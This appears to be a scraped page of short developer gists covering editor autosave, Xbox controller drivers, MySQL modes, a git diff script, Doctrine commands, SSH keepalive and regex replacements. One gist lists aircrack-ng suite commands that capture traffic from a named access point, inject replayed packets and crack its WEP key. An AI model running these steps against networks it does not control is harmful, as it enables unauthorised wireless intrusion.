Autosave: https://www.jetbrains.com/help/phpstorm/saving-and-reverting-changes.html PhpStorm > Preferences > Appearance & Behavior > System Settings > Synchronization
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Install: Open a terminal window and run: | |
sudo apt-get install xboxdrv -y | |
#Usage: Open a terminal window and run: | |
sudo rmmod xpad | |
sudo xboxdrv --mouse | |
#https://github.com/xboxdrv/xboxdrv | |
#http://www.omgubuntu.co.uk/2013/07/dealing-with-xbox-controllers-in-ubuntu | |
#Source: http://xubuntugeek.blogspot.mx/2012/07/how-to-use-xbox-360-controller-as-mouse.html |
Server SQL Modes - https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html
SET sql_mode = "ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION";
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#1st Step | |
airmon-ng stop wlan0 | |
airmon-ng start wlan0 | |
airodump-ng mon0 | |
#2nd Step | |
sudo airodump-ng -c 6 --bssid B4:75:0E:1A:69:8F -w captura mon0 | |
sudo aireplay-ng -1 0 -e Netcommerce -a B4:75:0E:1A:69:8F -h 11:22:33:44:55:66 mon0 | |
sudo aireplay-ng -3 -b B4:75:0E:1A:69:8F -h 11:22:33:44:55:66 mon0 | |
aircrack-ng -z *.cap |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import sys | |
import os | |
os.system('meld "%s" "%s"' % (sys.argv[2], sys.argv[5])) | |
#git config -l | |
#diff.external=/path/to/script/diff.py |
php vendor/bin/doctrine orm:convert-mapping --force --from-database --from-database xml test/Mapping
php vendor/bin/doctrine orm:convert-mapping --force --from-database --from-database xml module/Application/src/Entity/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##http://www.howtogeek.com/howto/linux/keep-your-linux-ssh-session-from-disconnecting/ | |
#Global Configuration | |
#Add the following line to the /etc/ssh/ssh_config file: | |
ServerAliveInterval 60 | |
#The number is the amount of seconds before the server with send the no-op code. | |
#Current User Configuration | |
#Add the following lines to the ~/.ssh/config file (create if it doesn’t exist) | |
Host * |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#REGEX REPLACE | |
find : <li>*.+?(echo)+.*<\/li> | |
replace : <?php if($userac->hasPermission('access','')) { ?>\n\t\t$0\n\t\t\t<?php } ?> | |
#http://stackoverflow.com/questions/20742076/regex-replace-uppercase-with-lowercase-letters | |
#Lowercase Replacement | |
find : \bAS\b | |
replace : \L$0 | |
#Uppercase Replacement |